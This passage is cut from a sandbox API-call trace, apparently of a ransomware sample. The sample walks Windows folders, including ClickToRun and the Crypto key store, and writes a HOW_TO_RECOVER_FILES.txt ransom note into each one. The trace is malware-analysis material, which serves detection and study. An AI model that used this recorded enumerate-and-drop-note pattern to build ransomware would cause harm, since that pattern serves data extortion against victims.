lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0087.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0087.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0087.283] GetFileType (hFile=0x7b0) returned 0x1 [0087.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0087.284] GetFileType (hFile=0x7b0) returned 0x1 [0087.284] WriteFile (in: hFile=0x7b0, lpBuffer=0x356bba8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x356bba8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0087.285] CloseHandle (hObject=0x7b0) returned 1 [0087.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0087.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0087.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0088.308] GetFileType (hFile=0x7ac) returned 0x1 [0088.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0088.308] GetFileType (hFile=0x7ac) returned 0x1 [0088.309] WriteFile (in: hFile=0x7ac, lpBuffer=0x3256e58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3256e58*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0088.310] CloseHandle (hObject=0x7ac) returned 1 [0088.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0088.311] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x2c [0088.311] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.312] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.312] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.312] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0088.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0088.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0088.312] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x2c [0088.312] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.313] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.313] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.313] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0088.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0088.313] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0088.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0088.313] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\userdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0088.314] GetFileType (hFile=0x7ac) returned 0x1 [0088.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0088.314] GetFileType (hFile=0x7ac) returned 0x1 [0088.315] WriteFile (in: hFile=0x7ac, lpBuffer=0x3267d68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3267d68*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0088.316] CloseHandle (hObject=0x7ac) returned 1 [0088.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x129daf0*=0x190, lpdwindex=0x10fb524 | out: lpdwindex=0x10fb524) returned 0x0 [0088.581] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0088.582] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0088.582] NtdllDefWindowProc_W (hWnd=0x20220, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0107.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0107.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0107.825] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.826] GetFileType (hFile=0x768) returned 0x1 [0107.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0107.826] GetFileType (hFile=0x768) returned 0x1 [0107.827] WriteFile (in: hFile=0x768, lpBuffer=0x36b60d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x36b60d0*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0107.827] CloseHandle (hObject=0x768) returned 1 [0107.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0107.828] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0107.828] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.828] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.828] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0107.828] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0107.829] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0107.829] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0107.829] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0107.829] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0107.829] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0107.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0107.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0107.829] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0107.829] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0107.830] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.830] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0107.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0107.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.831] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0107.831] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.831] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.831] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0107.831] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0107.832] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.832] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0107.832] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.832] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.832] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0107.832] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.832] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0107.833] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x10fa240, 